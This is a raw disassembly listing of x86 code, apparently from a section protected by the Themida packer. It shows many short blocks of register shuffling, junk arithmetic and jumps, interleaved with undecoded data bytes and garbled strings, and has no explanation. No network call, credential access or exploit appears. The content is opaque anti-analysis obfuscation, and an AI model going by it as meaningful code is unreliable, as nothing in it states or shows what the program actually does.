		pop	ecx
		jmp	loc_56829E
; ---------------------------------------------------------------------------
		dd 4C481h, 0EFC10000h, 16BD5502h, 0C139FE28h, 0CD8106EDh
		dd 1681283Fh, 1FE9D5F7h, 890000B0h, 0B1E9240Ch,	550000F1h
		dd 777FADBDh, 564D4D60h, 10777E9h, 70C58100h, 813AA321h
		dd 8A27D4EDh, 4CB2E907h, 0CD810000h, 705F1BBEh,	11B9BE9h
		dd 4EC8300h, 0FF4FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5551F9:				; CODE XREF: Themida_:005576DEj
		xchg	esi, [esp]
		jmp	loc_5659EB
; ---------------------------------------------------------------------------
		db 58h,	5Bh, 8Bh
		dd 0C4812404h, 4, 5A66D028h, 10AC5E9h, 11C78100h, 81509250h
		dd 4C5174E7h, 0BAEF812Bh, 89FBF32Fh, 243C8BFEh,	5704C483h
		dd 41A4E9h, 2CD35C00h, 7CE99C24h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55523F:				; CODE XREF: Themida_:0056052Dj
		mov	esi, edx
		jmp	loc_557F20
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 75C4BD55h, 0CD8177CAh, 7FAA33B3h, 187FCD81h,	0B8504698h
		dd 5B51502Ah, 8158C501h, 845FE7F5h, 0CAED8125h,	0E9FECF8Fh
		dd 0D21Bh, 933353B8h, 99B95167h, 2D504D2Ah, 70E46275h
		dd 9C1A4F2Dh, 6C48055Ah, 0C8010D63h, 636C482Dh,	4FBD550Dh
		dd 55A9C1Ah, 2DB056FBh,	0FFF56FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5552A5:				; CODE XREF: Themida_:005594CAj
		shl	edx, 6
		push	esi
		push	ebx
		mov	ebx, 569F4023h
		and	ebx, 32C43294h
		or	ebx, 6E8217CCh
		add	ebx, 0B1DD391Bh
		jmp	loc_552DE9
; ---------------------------------------------------------------------------
		dw 8141h
		dd 5A0888F1h, 8BCA010Ah, 8EE9240Ch, 8B000081h, 0AF0F2424h
		dd 0E99C51C8h, 0FFFFD8D7h, 1D4D6859h, 1C890000h, 2BB24h
		dd 62E90000h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5552F7:				; CODE XREF: Themida_:00563806j
		add	esi, 5D907104h
		jmp	loc_55DEA1
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0C1E6D102h, 0F68104E6h, 0F208F8B8h, 348BF229h, 0AA1EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55531A:				; CODE XREF: Themida_:00556F9Cj
		sub	bl, 66h
		push	edx
		jmp	loc_55DBB2
; ---------------------------------------------------------------------------
		db 87h
		dd 685C240Ch, 437Eh, 51241489h,	0B1512AB5h, 52D1F6B8h
		dd 132DE9h, 0BF574600h,	4FC534D4h, 0D56BC781h, 0FE01DB5Ch
		dd 30FDE9h, 88E88800h, 305958C3h, 241C8BDCh, 0D0DBE9h
		dd 0C1815900h, 4, 4E981h, 0C330000h, 240C3124h,	8B240C33h
		dd 3C892424h, 815F5424h, 4C7h, 0BA525100h, 33BF5B4Ch, 0E1C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_555391:				; CODE XREF: Themida_:00562C5Ej
		mov	esi, 32377F9Ch
		mov	eax, 738C758Ah
		xor	eax, esi
		pop	esi
		jmp	loc_55C873
; ---------------------------------------------------------------------------
		db 1
		dd 0B9E981D9h, 0E979A914h, 4654h, 4247401h, 128E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5553B9:				; CODE XREF: Themida_:00558931j
		sub	ecx, 36D05Bh
		push	ebp
		push	ecx
		jmp	loc_5592C4
; ---------------------------------------------------------------------------


loc_5553C6:				; CODE XREF: Themida_:005643F5j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		xchg	esi, [esp]
		jmp	loc_55A866
; ---------------------------------------------------------------------------


loc_5553E8:				; CODE XREF: Themida_:0055C9BBj
		add	dword ptr [esp], 2F3C177Eh
		mov	ebx, [esp]
		jmp	loc_5616EF
; ---------------------------------------------------------------------------
		db 89h
		dd 4BD55E6h, 1000000h, 0C6815DEEh, 4, 0DADDE9h,	2C78100h
		dd 87000000h, 815C243Ch, 2ECh, 14896600h, 4EC8124h, 89000000h
		dd 0EC812404h, 4, 0B6241489h, 5AF0887Bh, 0EE72E9h, 0E7895700h
		dd 0A35DE9h, 0A2BA5200h, 2901B41Ah, 0E9042454h,	0FFFFF14Eh
		dd 3912A168h, 0ED815D0Bh, 0ED3208CCh, 34F2E9h
		db 0
byte_555465	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552AECo
aSek		db '$И┘┼',0
		align 2


loc_55546E:				; CODE XREF: Themida_:0055E685j
		add	bl, al
		push	ecx
		mov	ch, 0BEh
		xor	ch, 0DBh
		add	bl, ch
		pop	ecx
		jmp	loc_554A98
; ---------------------------------------------------------------------------


loc_55547E:				; CODE XREF: Themida_:0055AD67j
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5632CF
; ---------------------------------------------------------------------------
		db 81h
		dd 0CD5345EEh, 0E9D62905h, 0FFFFFB8Ch
; ---------------------------------------------------------------------------


loc_5554B0:				; CODE XREF: Themida_:005592E3j
		pop	eax
		jmp	loc_55E4E9
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0D37CE904h, 0C3830000h, 90EB81FFh, 5E702DEh,	30386ABFh
		dd 51E9D801h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5554D3:				; CODE XREF: Themida_:0055C08Ej
		shl	ebx, 3
		add	ebx, 0FD25EBE1h
		add	ebx, 8636EF57h
		push	ebx
		pop	edx
		pop	ebx
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_557852
; ---------------------------------------------------------------------------


loc_5554F2:				; CODE XREF: Themida_:005568DEj
		shr	edx, 7
		add	edx, 12544430h
		add	edx, 6BCE062h
		and	esi, edx
		pop	edx
		push	esi
		push	4910h
		mov	[esp], ebp
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55AF5D
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 5Eh
		dd 81311F12h, 0AF40F4EEh, 2BC3E950h, 4BE0000h, 1000000h
		dd 5E042474h, 8B2434FFh, 0E9562434h, 92ADh, 2BF7F781h
		dd 5EE94FC3h, 0F7FFFFD9h, 814149D9h, 3346FEF1h,	92BB5303h
		dd 0E9703C58h, 9D15h, 8324148Bh, 0BD5504C4h, 2B0A50BBh
		dd 8104E5C1h, 0C42B2AEDh, 1ED8142h, 0F7000000h,	0C5814DD5h
		dd 0E15C0DD4h, 6606E981h, 0CAE90C94h, 5D000070h, 78BD5550h
		dd 550F5939h, 0BB240481h, 58628263h, 1D60E957h,	0DEB50000h
		dd 0FF7AE9h
		db 0
byte_5555AD	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00552978o
		dd 0E9E78957h, 12B88h
dword_5555B8	dd 240C8B66h, 22886856h, 8F540000h, 56552404h, 0E14BB53h
					; DATA XREF: Themida_:00552A08o
		dd 0E8E95AA7h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5555D3:				; CODE XREF: Themida_:005598CEj
		dec	esi
		add	esi, 864B429Dh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5571BA
; ---------------------------------------------------------------------------


loc_5555EB:				; CODE XREF: Themida_:00558969j
		push	esp
		jmp	loc_55A59D
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 6624248Bh, 2404BB0Fh, 0DBDAE99Ch, 0F7810000h, 5F9E72A0h
		dd 4397F781h, 0C781051Ah, 6ACD51D1h, 0A78AC781h, 0FE012E83h
		dd 1019CE9h, 96BF5700h,	31003A8Fh, 0BF575FFBh, 3736A07h
		dd 3D5CC581h, 0FD0112C3h, 3D5CED81h, 5AE912C3h,	5400000Fh
		dd 19A2E95Dh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55564A:				; CODE XREF: Themida_:005620ACj
		sub	ecx, 1C601BB8h
		add	ecx, 682A7233h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 585A6F30h
		jmp	loc_554DE1
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 78h
		dd 3125F204h, 0E4FFE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555676:				; CODE XREF: Themida_:0055803Aj
		mov	ebx, 0
		sub	ebx, esi
		jmp	loc_559E62
; ---------------------------------------------------------------------------
		dw 0F788h
		dd 6F6EE9h, 6FD6800h, 4890000h,	4B1AB824h, 0C8E92C93h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55569B:				; CODE XREF: Themida_:0055F1BDj
		or	ebp, 6131B19h
		jmp	loc_565421
; ---------------------------------------------------------------------------


loc_5556A6:				; CODE XREF: Themida_:0055CBACj
		mov	ebx, 26FA7FC3h
		shr	ebx, 2
		xor	ebx, 61BB91B9h
		sub	esi, ebx
		pop	ebx
		xor	esi, 2035C9C3h
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	edi, 4C2C73F9h
		jmp	loc_55F619
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 3CF97831h, 0B951EF01h, 3CF97831h, 418DE9h, 1ED8100h
		dd 0E9000000h, 9C16h, 34FFC829h, 88685924h, 8900005Eh
		dd 0E389241Ch, 5D6268h,	242C8900h, 4BDh, 8BEB0100h, 0C483242Ch
		dd 19836804h, 2C890000h, 0DEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555722:				; CODE XREF: Themida_:0055ECCDj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_560841
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 3C4B599Dh, 4D05E5C1h, 5875E581h, 0E5C10DD2h,	91F58105h
		dd 0E96DF835h, 0B262h, 8904EC83h, 0DCE92414h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555757:				; CODE XREF: Themida_:00553746j
		pop	dword ptr [esp]
		jmp	loc_554256
; ---------------------------------------------------------------------------
		db 81h
		dd 2D1D10C5h, 0BB535B07h, 7927262Ch, 624768h, 241C8900h
		dd 5B240CFFh, 302EEB81h, 0E9510406h, 0B077h, 7D5868h, 241C8900h
		dd 1121CE9h, 0E7895700h, 4C781h, 0C7830000h, 243C8704h
		dd 20E8E95Ch, 0EAC10000h, 0EA814202h, 0EB9AF01Ah, 15AD529h
		dd 46C581C5h, 8B2A5166h, 0C4812404h, 4,	0E95DEB01h, 10B92h
; ---------------------------------------------------------------------------


loc_5557CC:				; CODE XREF: Themida_:0056310Bj
		sub	ebx, 755F3566h
		push	ebp
		mov	ebp, 7DFE2D3Eh
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, ebx
		add	esi, 7DFE2D3Eh
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		bt	[esp], ax
		pushf
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		dd 4BDh, 5897E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55580A:				; CODE XREF: Themida_:0055FAA4j
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		sub	ebx, 0DC7D643Fh
		mov	ebp, ebx
		pop	ebx
		or	ebp, 0E947823h
		jmp	loc_564304
; ---------------------------------------------------------------------------


loc_555824:				; CODE XREF: Themida_:0055720Bj
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_566B95
; ---------------------------------------------------------------------------


loc_55584F:				; CODE XREF: Themida_:005566C3j
		push	ebx
		mov	ebx, 48391161h
		sub	[esp+8], ebx
		pop	ebx
		jmp	loc_559F5C
; ---------------------------------------------------------------------------
aWslf		db 'WИ╚f',0
		dd 5AD00100h, 0B151E9h
		db 0
; ---------------------------------------------------------------------------


loc_55586D:				; CODE XREF: Themida_:0055E3B1j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555C7F
; ---------------------------------------------------------------------------


loc_555878:				; CODE XREF: Themida_:005617B0j
		add	eax, edi
		sub	eax, 53B0273Ch
		pop	edi
		mov	ecx, [esp]
		jmp	loc_55CD12
; ---------------------------------------------------------------------------


loc_555888:				; CODE XREF: Themida_:0055964Ej
		sub	[esp], ebx
		push	ecx
		mov	ecx, 690637D4h
		add	[esp+4], ecx
		pop	ecx
		pop	ebx
		push	esi
		jmp	loc_56268B
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 89h
		dd 3C8B59C8h, 4C48124h,	0E9000000h, 0C1E8h
; ---------------------------------------------------------------------------


loc_5558B0:				; CODE XREF: Themida_:00563948j
		add	[eax], ebx
		pop	eax
		pop	edx
		jmp	loc_55BF02
; ---------------------------------------------------------------------------


loc_5558B9:				; CODE XREF: Themida_:0056155Bj
		xchg	ebx, [esp]
		jmp	loc_5655C2
; ---------------------------------------------------------------------------


loc_5558C1:				; CODE XREF: Themida_:0055667Bj
		push	edx
		mov	edx, 5EE156ADh
		jmp	loc_563F51
; ---------------------------------------------------------------------------


loc_5558CC:				; CODE XREF: Themida_:0055A91Bj
		sub	edx, 6DF5DF80h
		jmp	loc_567652
; ---------------------------------------------------------------------------


loc_5558D7:				; CODE XREF: Themida_:005582E7j
		sub	ebx, 550822F3h
		jmp	loc_561CA6
; ---------------------------------------------------------------------------
		dw 0E8B9h
		dd 294C008Ch, 241C8BD9h, 4C481h, 69BF0000h, 29416030h
		dd 0C66E9CFh, 895B0000h, 0EB2159CDh, 0E3814B5Dh, 125364CEh
		dd 2048F381h, 0C6810252h, 68BF2175h, 0EE81DE01h, 68BF2175h
		dd 5B2434FFh, 3120E9h, 0D0295A00h, 5872E9h, 81DDF700h
		dd 0D4EAE6C5h, 24BCE9BBh, 0D2F70001h, 6497EA81h, 0C28134CEh
		dd 803AD7AFh, 20E9D731h, 6800006Dh, 60BEh, 0E9242C89h
		dd 8B7Ch, 7E08EB81h, 0EB813C7Dh, 5433016Fh, 0B8505750h
		dd 3E65F04h, 0DDCD8368h, 0E9505F4Dh, 270Ah, 0E9243C89h
		dd 0D362h, 65AEF781h, 0EF830D34h, 0F23DE901h, 5550FFFFh
		dd 6C74BB53h, 98E93C66h, 530000F9h, 50B2ECB7h, 5BFA00h
		dd 0A65BE9D0h, 0C3890000h, 8124048Bh, 4C4h, 0DE015900h
		dd 0D4BEE9h, 4C48300h, 6470C381h, 0CB292D23h, 6470EB81h
		dd 5592D23h, 759C77C5h,	0C52DD829h, 5B759C77h, 0FFEC83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5559E9:				; CODE XREF: Themida_:0056696Cj
		mov	edi, esp
		jmp	loc_553BA3
; ---------------------------------------------------------------------------
		dd 52242489h, 4BAh, 24540100h, 815D5A04h, 4C5h,	4EC8100h
		dd 89000000h, 0F3E9241Ch, 28000037h, 0B15158C3h, 44C1804Dh
		dd 8031E980h, 0E980E3C1h, 99E180FFh, 0FEE5B252h, 0B74EE9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555A32:				; CODE XREF: Themida_:0055A9A4j
		mov	ebp, 4D6F2D07h
		neg	ebp
		inc	ebp
		neg	ebp
		dec	ebp
		sub	ebp, 0EAB8BA83h
		or	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 0DA7B072h
		mov	ebp, 5827BA6Bh
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	eax, ebp
		jmp	loc_556F7F
; ---------------------------------------------------------------------------
		dd 31242C33h, 2C33242Ch, 4003E924h, 0EC810000h,	4, 0BA241489h
		dd 6DB03C27h, 0D4A1E9h,	242C8B00h, 8104C483h, 4C5h, 0C695E900h
		dd 4890000h, 0E9F88924h, 5D90h,	4BEh, 24448100h, 0FD28DF04h
		dd 0CCDE97Dh, 0DB2C0001h, 1450E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555ABE:				; CODE XREF: Themida_:00556AF9j
		add	edx, 5C527AEh
		pop	ecx
		sub	edx, ebx
		sub	edx, 6B1D26EEh
		jmp	loc_5603C3
; ---------------------------------------------------------------------------


loc_555AD2:				; CODE XREF: Themida_:0055F644j
		sub	esp, 4
		mov	[esp], esi
		push	edx
		jmp	loc_566B44
; ---------------------------------------------------------------------------


loc_555AE1:				; CODE XREF: Themida_:0055C49Bj
		mov	eax, 4
		jmp	loc_558E5A
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD6F1AC5h, 81C5291Dh, 0FD6F1AEDh, 0F501581Dh, 6E92C581h
		dd 0ED816ED2h, 30EF78C5h, 60F4E9h, 2434FF00h
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55EC3F
; ---------------------------------------------------------------------------


loc_555B1F:				; CODE XREF: Themida_:00566B05j
		add	esi, 974C4DE1h
		add	ebx, esi
		pop	esi
		jmp	loc_561583
; ---------------------------------------------------------------------------


loc_555B2D:				; CODE XREF: Themida_:00565C41j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55FB80
; ---------------------------------------------------------------------------


loc_555B3E:				; CODE XREF: Themida_:00568293j
		mov	eax, 2AAC32ECh
		jmp	loc_5533E9
; ---------------------------------------------------------------------------
		dd 4EB835Dh, 2E52E9h, 4E7C100h,	6AD8E781h, 0BB533DAAh
		dd 0D2B1A76h, 895BDF31h, 2434FFFBh, 5854505Fh, 405h, 40500h
		dd 4870000h, 0A7E95C24h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B7F:				; CODE XREF: Themida_:00553C3Bj
		sub	ecx, edi
		xchg	ecx, edi
		pop	ecx
		or	edi, 1B6337D7h
		add	edi, 4018400Dh
		jmp	loc_558AC3
; ---------------------------------------------------------------------------


loc_555B95:				; CODE XREF: Themida_:00567450j
		pop	eax
		sub	eax, 3E194723h
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55CF8C
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C2010000h, 582434FFh, 457668h, 24048900h, 41E9E089h
		dd 4500000Ah, 7ACBE9h, 5F28BD00h, 0E5813F74h, 4D124AF6h
		dd 4708F581h, 94E9252Ah, 0D1000045h, 43C781E7h,	81259668h
		dd 58D858EFh, 5FFB09B4h, 74D3EB81h, 0BA52B5B8h,	5FD1788Ch
		dd 0E2AFE9h, 0C896600h,	0F6DD8824h, 0EA8852D5h,	92C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_555C1D:				; CODE XREF: Themida_:00557B89j
		add	ebx, 69AA9C12h
		add	edi, 38AE421Fh
		jmp	loc_560719
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFF54Dh, 0C32189B9h, 0BFF18164h, 815CB83Bh, 653E52F1h
		dd 59CF8961h, 2487EF81h, 0CF8107C0h, 1D196D24h,	0C781EFD1h
		dd 20DE3DC4h, 815FFA21h, 7FE302C2h, 5AD589B4h, 34FFEE01h
		dd 8E5EE924h, 0C4810000h, 4, 8DE95057h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555C7F:				; CODE XREF: Themida_:00555873j
		add	edx, esi
		add	edx, 71653C60h
		pop	esi
		push	2A97h
		mov	[esp], ebx
		mov	ebx, 524D106Fh
		jmp	loc_55378B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5C241C87h, 0C131E9h, 4C18300h, 5C240C87h,	31241433h
		dd 14332414h, 0FF65E924h, 0DE870000h, 0DE87D3F7h, 0DDA3EE81h
		dd 0E956F4A2h, 83AFh, 0C781F701h, 23A37382h, 11425E9h
		db 0
; ---------------------------------------------------------------------------


loc_555CDD:				; CODE XREF: Themida_:00563ED5j
		mov	ebx, 571E658Ah
		push	esi
		jmp	loc_553A36
; ---------------------------------------------------------------------------
		dd 75A86866h, 24048966h, 0C32848B0h, 0E9505866h, 0BCF8h
		dd 8E8BE981h, 0ED81C62Dh, 252205D1h, 0C581CD29h, 252205D1h
		dd 8BE98959h, 0C483242Ch, 0FFCD0104h, 81592434h, 4C4h
		dd 4EC8300h, 0FF242C89h, 8B042474h, 8953242Ch, 4C381E3h
		dd 57000000h, 6A84E9h, 0BAB95100h, 57536B18h, 4599BB53h
		dd 0DF89275Ah, 0F3CF815Bh, 0E9276528h, 0B008h
; ---------------------------------------------------------------------------


loc_555D5C:				; CODE XREF: Themida_:00566554j
		xor	esi, 0E0C09328h
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4BA122AFh
		push	ebp
		mov	ebp, 409B573Ah
		shr	ebp, 8
		dec	ebp
		jmp	loc_5654D4
; ---------------------------------------------------------------------------


loc_555D86:				; CODE XREF: Themida_:00560D46j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	ecx
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_561FFF
; ---------------------------------------------------------------------------


loc_555D9D:				; CODE XREF: Themida_:00560B4Aj
		add	esp, 4
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	esi, 751E527Bh
		push	eax
		mov	eax, 119E352Ch
		sub	esi, eax
		pop	eax
		add	esi, edx
		add	esi, 119E352Ch
		jmp	loc_568110
; ---------------------------------------------------------------------------
		dd offset aFLasss	; "F\blassХ\r"
		db 0D8h, 4, 0D2h
		dd 0CCB35366h, 45E9D828h, 31FFFFF2h, 0D1E958C5h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555DEF:				; CODE XREF: Themida_:0055778Fj
		mov	esi, esp
		add	esi, 4
		jmp	loc_5568C4
; ---------------------------------------------------------------------------
		dd 0A41B6B05h, 52D0015Fh, 0A41B6BBAh, 5AD0295Fh, 0B0615C05h
		dd 0E9555A2Ch, 0FFFFEB2Ch, 34486866h, 3778E9h
		db 0
; ---------------------------------------------------------------------------


loc_555E21:				; CODE XREF: Themida_:0055B31Fj
		add	ecx, 4
		jmp	loc_5617DC
; ---------------------------------------------------------------------------


loc_555E2C:				; CODE XREF: Themida_:005565FAj
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_565C17
; ---------------------------------------------------------------------------


loc_555E37:				; CODE XREF: Themida_:00560977j
		add	eax, 4CF27DA2h
		add	eax, edx
		sub	eax, 4CF27DA2h
		jmp	loc_558379
; ---------------------------------------------------------------------------


loc_555E48:				; CODE XREF: Themida_:0055D5EEj
		pop	eax
		mov	eax, 6BE109A1h
		add	eax, 121D3655h
		jmp	loc_559DB1
; ---------------------------------------------------------------------------
		dd 7CBBC181h, 9FE95735h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555E63:				; CODE XREF: Themida_:0055AAA1j
		pop	ebp
		inc	ebp
		push	ebp
		jmp	loc_559B7E
; ---------------------------------------------------------------------------
		db 81h
		dd 21042444h, 1232841h,	5304247Ch, 284121BBh, 245C2923h
		dd 3C8B5B08h, 4C48324h,	55240C8Bh, 0FFF7B2E9h, 52E0B4FFh
		dd 0F6808EB6h, 8BF4287Ah, 0C4832414h, 50E48004h, 4EC81h
		dd 1C890000h, 2050E924h, 875B0000h, 0C1E92404h,	0F70000AAh
		dd 0E2E3E9DBh, 0F5800000h, 2349E986h, 0EC830001h, 242C8904h
		dd 0F75A5D52h, 7BC581D5h, 14DFC5Eh
		db 0EEh, 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_563100
; ---------------------------------------------------------------------------
		dd 835FF901h, 31E904C1h, 8900004Dh, 0A8E92434h,	8100011Ch
		dd 4C2h, 24148700h, 8124248Bh, 4C4h, 5402E900h,	685E0000h
		dd 50E3h, 55240489h, 0D0782568h, 0ED815D2Ah, 2AD07821h
		dd 0E95D5855h, 48FAh, 0F8186BBDh, 0ECEB816Ch, 172537Ch
		dd 0ECC381EBh, 8B72537Ch, 0C481242Ch, 4, 0E956C301h, 2A16h
		dd 115BE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555F6A:				; CODE XREF: Themida_:005582F6j
		shr	eax, 7
		push	esi
		mov	esi, 48244985h
		shr	esi, 4
		or	esi, 5FFC41C2h
		push	ebp
		mov	ebp, 180959C6h
		jmp	loc_55A49B
; ---------------------------------------------------------------------------


loc_555F87:				; CODE XREF: Themida_:00566359j
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_55DFB5
; ---------------------------------------------------------------------------
		dd 875EF301h, 505C241Ch, 0CE5B4DB8h, 5D0F76Ch, 6CCE5B52h
		dd 6858C601h, 17D7h, 0BB241C89h, 2, 1C8BDE01h, 0DD5CE924h
		dd 0E589FFFFh, 8904EC83h, 2DB9240Ch, 0F72C373Bh, 0E79EE9D9h
		dd 0A5BD0000h, 8153551Ah, 500A65C2h, 81EA0171h,	500A65EAh
		dd 0C2835D71h, 0DA88E901h, 0BB530000h, 4, 66680A05h, 5BE02D51h
		dd 0D80104F4h, 0F45BE005h, 680A2D04h, 565B5166h, 4BEh
		dd 0AFCCE900h, 0E1890000h, 4C181h, 62E90000h, 550000F9h
		dd 9870E9h, 0BB535A00h,	2EEA2074h, 89BD5551h, 89CDEE66h
		dd 6893E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556062:				; CODE XREF: Themida_:0055BEB1j
		shl	cl, 3
		not	cl
		push	ebx
		mov	bl, 0BAh
		xor	cl, bl
		pop	ebx
		sub	al, 6Fh
		sub	al, cl
		add	al, 6Fh
		pop	ecx
		push	dx
		jmp	loc_561A07
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E0895000h, 5F64BA52h,	27E942FBh, 5E0000BCh, 47A4BD55h
		dd 0D5F714D6h, 8145E5D1h, 8BE903C5h, 1EBD5566h,	8130F277h
		dd 464CAAE5h, 2ED814Bh,	29B2022Ah, 0EA295DEAh, 1A08C281h
		dd 0E95D4E40h, 2CF3h, 54242C89h, 0DACAE9h, 0FF515C00h
		dd 8B042474h, 0C481240Ch, 4, 5C24048Fh,	24048B66h, 4EC81h
		dd 2C890000h, 591C6824h, 82E90000h, 0D0000A5h, 66C54EC4h
		dd 2835D8F7h, 893A46B4h, 4E958C6h, 8B00006Fh, 82E92404h
		dd 68FFFFEFh, 3324h, 11BBAE9h
		db 0
byte_55611D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552AA4o
aH@		db '$hу@',0
		align 2
		dw 0C89h
aIsscs		db '$┴АИc≤',0
		align 10h


loc_556130:				; CODE XREF: Themida_:00557BFBj
		shl	ch, 8
		sub	ch, 5
		add	ch, 1Ch
		xor	bh, ch
		pop	ecx
		add	ah, 0C3h
		push	edx
		mov	dl, 0F8h
		sub	esp, 4
		mov	[esp], edx
		inc	byte ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		shl	dl, 2
		sub	dl, 0C5h
		add	ah, dl
		jmp	loc_55EC39
; ---------------------------------------------------------------------------
		dd 0EC80EC28h, 240C8B7Eh, 0BEEBE9h
		db 0
; ---------------------------------------------------------------------------


loc_556171:				; CODE XREF: Themida_:00557722j
		push	edi
		mov	edi, 37A851F7h
		shr	edi, 8
		neg	edi
		xor	edi, 71751438h
		or	edi, 1BB676E5h
		add	edi, 0E3238BEh
		add	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		jmp	loc_564569
; ---------------------------------------------------------------------------


loc_556199:				; CODE XREF: Themida_:005633E3j
		add	esi, edx
		jmp	loc_55FC3A
; ---------------------------------------------------------------------------


loc_5561A0:				; CODE XREF: Themida_:005637AAj
		add	edi, ebp
		add	edi, 59F15C58h
		add	edi, 4D5B632Bh
		push	ebp
		mov	ebp, 50D74A6h
		sub	edi, ebp
		pop	ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_562FBF
; ---------------------------------------------------------------------------
aQTaSgu		db 'Q╠T─и:Иgu',0
		dw 0FF00h
		dd 815F2434h, 4C4h, 0D067E900h,	0BE560000h, 9B5515Ah, 815EF709h
		dd 6D67E8CFh, 0F8EF8136h, 891E754Dh, 0A1E95FFEh
		db 11h,	1, 0
; ---------------------------------------------------------------------------


loc_5561FF:				; CODE XREF: Themida_:00558215j
		cmp	ecx, eax
		pushf
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		db 89h
		dd 5A542414h, 0C30E9h
		db 0
; ---------------------------------------------------------------------------


loc_556211:				; CODE XREF: Themida_:0055AFCFj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 719346BBh
		push	esi
		push	ebx
		mov	ebx, 3C324A0Eh
		not	ebx
